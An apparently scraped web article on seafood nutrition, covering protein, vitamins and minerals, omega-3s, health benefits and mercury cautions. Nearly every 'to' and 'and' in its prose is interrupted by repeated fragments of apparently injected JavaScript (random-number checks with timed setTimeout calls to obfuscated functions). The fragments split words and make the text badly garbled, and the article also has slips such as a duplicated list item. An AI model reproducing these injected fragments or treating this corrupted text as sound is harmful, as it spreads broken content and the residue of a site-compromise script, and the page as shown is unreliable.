IN Health

Seafood is an excellent low-calorie, high-protein food that promotes good heart health. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the California Seafood Council, seafood is also low in saturated fat, rich in vitamins dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and minerals, low in sodium dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and relatively easy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to digest. If you're dieting or you want dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make healthier decisions when it comes dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the foods you eat, it's important dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to understdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and what nutritional value seafood offers.

Protein Content

Fish is an excellent source of protein dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and its low-calorie content makes it a healthier alternative dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to red meats or poultry. The body uses protein dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grow, maintain dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and repair cellular tissue. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the California Seafood Council, the best seafood sources of protein include bluefin tuna, squid, shrimp, shrimp, halibut dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and shark. A 3 oz. cooked serving of any of these offers 49 percent dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 60 percent of the recommended daily value for protein.

Vitamin dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Mineral Content

Seafood is high in a number of vitamins dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and minerals. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the U.S. Food dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Drug Administration, certain varieties of seafood are excellent sources of potassium, vitamin A, vitamin E dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and vitamin C, vitamin D, calcium dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and iron. For example, eating 12 small clams offers 30 percent of the recommended daily value for iron, 10 percent of the daily value for vitamin A dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and 8 percent of the daily value for calcium.

Omega-3 Content

Fish are also high in omega-3s, a healthy type of fat. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Alaska Seafood, omega-3s are responsible for decreasing cholesterol, reducing the risk of blood clots dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and reducing constriction dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and plaque buildup in the arteries. All types of fish include some amount of omega-3s. Those that offer the highest concentration include trout, wild dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and farm-raised salmon, sardines, mackerel, oysters, albacore tuna dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and anchovies..

Benefits

Eating seafood offers many health benefits. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the California Seafood Council, research suggests that eating two dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three servings of fish per week reduces your risk for having a stroke or heart attack. This is largely because of the effects of omega-3 fatty acids. Eating seafood regularly can also potentially lower your risk for developing colon, breast or prostate cancer. Pregnant women can also benefit from the high levels of protein, zinc dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and iron found in seafood.

Considerations

One of the primary considerations when eating seafood is dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay attention dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to how it's prepared. The California Seafood Council advises you dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid eating raw or undercooked seafood or shellfish. Pregnant women are encouraged dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to limit their intake of swordfish, shark dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and tuna dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to once per month dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid eating recreationally-caught freshwater fish. Seafood consumption in general should be limited dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to two dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three 3 times per week dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid the risk of increased mercury levels.

Curtsey: Rebecca Lake/ http://www.livestrong.com/article

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